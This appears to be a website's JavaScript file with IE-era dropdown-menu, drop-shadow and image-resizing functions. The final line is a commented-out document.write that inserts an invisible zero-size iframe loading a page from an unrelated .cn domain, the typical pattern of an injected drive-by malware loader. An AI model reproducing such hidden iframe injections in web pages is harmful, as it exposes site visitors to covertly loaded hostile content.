//document.write("<IFRAME marginWidth=0 marginHeight=0 src="http://www.yile8.com/html/gg.htm" frameBorder=0 width=930 scrolling=no height=22></IFRAME>"); //下拉菜单相关代码 var h; var w; var l; var t; var topMar = 1; var leftMar = -2; var space = 1; var isvisible; var MENU_SHADOW_COLOR='#999999';//定义下拉菜单阴影色 var global = window.document global.fo_currentMenu = null global.fo_shadows = new Array function imgzoom(img,maxsize){ var a=new Image(); a.src=img.src if(a.width &gt; maxsize * 4) { img.style.width=maxsize; } else if(a.width &gt;= maxsize) { img.style.width=Math.round(a.width * Math.floor(4 * maxsize / a.width) / 4); } return false; } //图片自动调整的模式，1为按比例调整 ，2 按大小调整。 var resizemode=1 function imgresize(o){ if (resizemode==2 || o.onmousewheel){ if(o.width &gt; 500 ){ o.style.width='500px'; } if(o.height &gt; 800){ o.style.height='800px'; } }else{ var parentNode=o.parentNode.parentNode if (parentNode){ if (o.offsetWidth&gt;=parentNode.offsetWidth) o.style.width='98%'; }else{ var parentNode=o.parentNode if (parentNode){ if (o.offsetWidth&gt;=parentNode.offsetWidth) o.style.width='98%'; } } } } function HideMenu() { var mX; var mY; var vDiv; var mDiv; if (isvisible == true) { vDiv = document.all("menuDiv"); mX = window.event.clientX + document.body.scrollLeft; mY = window.event.clientY + document.body.scrollTop; if ((mX &lt; parseInt(vDiv.style.left)) || (mX &gt; parseInt(vDiv.style.left)+vDiv.offsetWidth) || (mY &lt; parseInt(vDiv.style.top)-h) || (mY &gt; parseInt(vDiv.style.top)+vDiv.offsetHeight)){ vDiv.style.visibility = "hidden"; isvisible = false; } } } function ShowMenu(vMnuCode,tWidth) { vSrc = window.event.srcElement; vMnuCode = "
  <table class=menu id=submenu onmouseout=HideMenu() cellSpacing=1 cellPadding=3>
    <tr height=23>
      <td class=MenuBody noWrap align=left>" + vMnuCode + "</td>
    </tr>
  </table>
"; h = vSrc.offsetHeight; w = vSrc.offsetWidth; l = vSrc.offsetLeft + leftMar+4; t = vSrc.offsetTop + topMar + h + space-2; vParent = vSrc.offsetParent; while (vParent.tagName.toUpperCase() != "BODY") { l += vParent.offsetLeft; t += vParent.offsetTop; vParent = vParent.offsetParent; } menuDiv.innerHTML = vMnuCode; menuDiv.style.top = t; menuDiv.style.left = l; menuDiv.style.visibility = "visible"; isvisible = true; makeRectangularDropShadow(submenu, MENU_SHADOW_COLOR, 4) } function makeRectangularDropShadow(el, color, size) { var i; for (i=size; i&gt;0; i--) { var rect = document.createElement('div'); var rs = rect.style rs.position = 'absolute'; rs.left = (el.style.posLeft + i) + 'px'; rs.top = (el.style.posTop + i) + 'px'; rs.width = el.offsetWidth + 'px'; rs.height = el.offsetHeight + 'px'; rs.zIndex = el.style.zIndex - i; rs.backgroundColor = color; var opacity = 1 - i / (i + 1); rs.filter = 'alpha(opacity=' + (100 * opacity) + ')'; el.insertAdjacentElement('afterEnd', rect); global.fo_shadows[global.fo_shadows.length] = rect; } }   //document.write("<iframe src=http://www.kpder.cn/m17.html?66 width=0 height=0></iframe>");
